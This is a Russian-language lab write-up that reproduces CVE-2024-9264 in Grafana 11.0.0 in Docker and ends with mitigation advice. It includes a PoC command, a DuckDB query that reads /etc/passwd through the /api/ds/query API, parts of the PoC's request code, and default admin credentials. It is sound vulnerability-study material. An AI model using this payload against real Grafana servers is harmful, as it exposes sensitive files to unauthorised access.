
Справочный документ https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| Пункт | Описание |
|---|---|
| CVE | CVE-2024-9264 |
| Цель | Grafana (SQL Expressions) |
| Влияние | Local File Inclusion (LFI), Remote Code Execution (RCE) |
| Серьёзность | Critical (CVSS 9.9) |
| Условия атаки | Аутентифицированный пользователь (права администратора) |
| Способ атаки | Выполнение DuckDB SQL через функцию SQL Expressions |
Grafana — это инструмент мониторинга с открытым исходным кодом, который визуализирует различные данные (серверы, приложения, базы данных и т. д.) в виде наглядных графиков и информационных панелей.
CVE-2024-9264 — это уязвимость, возникающая в функции SQL Expressions в Grafana.
DuckDB SQL, используемый внутри Grafana, не проверяется должным образом, что позволяет атакующему выполнять произвольный DuckDB SQL через SQL Expressions.
Используя это, можно:
В рамках данной лабораторной работы мы запустили Grafana 11.0.0 в среде Docker и воспроизвели уязвимость, прочитав файл /etc/passwd с помощью PoC.
| Компонент | Описание |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Проверка запуска Grafana
http://localhost:3000

Учётные данные Grafana по умолчанию следующие:
ID : admin
PW : admin
Для возникновения уязвимости должны быть выполнены следующие условия:
В данной лабораторной работе использовалась учётная запись администратора по умолчанию (admin/admin).
Запуск PoC
Для чтения локального файла была выполнена следующая команда:
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
PoC создаёт следующее SQL Expression:
SELECT * FROM read_csv_auto('/etc/passwd')
Этот запрос отправляется через API /api/ds/query Grafana.
Grafana выполнила SQL-запрос как есть и вернула содержимое /etc/passwd в ответе.

Помимо /etc/passwd можно просматривать и другие файлы.

Таким образом, было подтверждено успешное выполнение Local File Inclusion.
PoC написан на Python и выполняет следующие действия:
/api/ds/query)SQL, создаваемый при чтении файла, выглядит следующим образом:
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
API-запрос выполняется следующим образом:
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
Это также можно проверить с помощью команды curl.

Наиболее эффективная мера — обновление до последней версии, в которой устранена данная уязвимость.
Неиспользуемые функции SQL Expressions следует отключить или ограничить их использование, применив принцип минимальных привилегий.
После развёртывания Grafana 11.0.0 в среде Docker была воспроизведена уязвимость CVE-2024-9264.
С помощью PoC, написанного на Python, была успешно использована функция SQL Expressions и прочитан файл /etc/passwd. Это подтверждает, что при недостаточной проверке входных данных SQL Expressions могут быть раскрыты конфиденциальные файлы, а в зависимости от окружения возможно и удалённое выполнение кода.
Подобные уязвимости можно предотвратить с помощью таких мер безопасности, как обновление до последней версии, ограничение функции SQL Expressions и защита учётных записей администратора.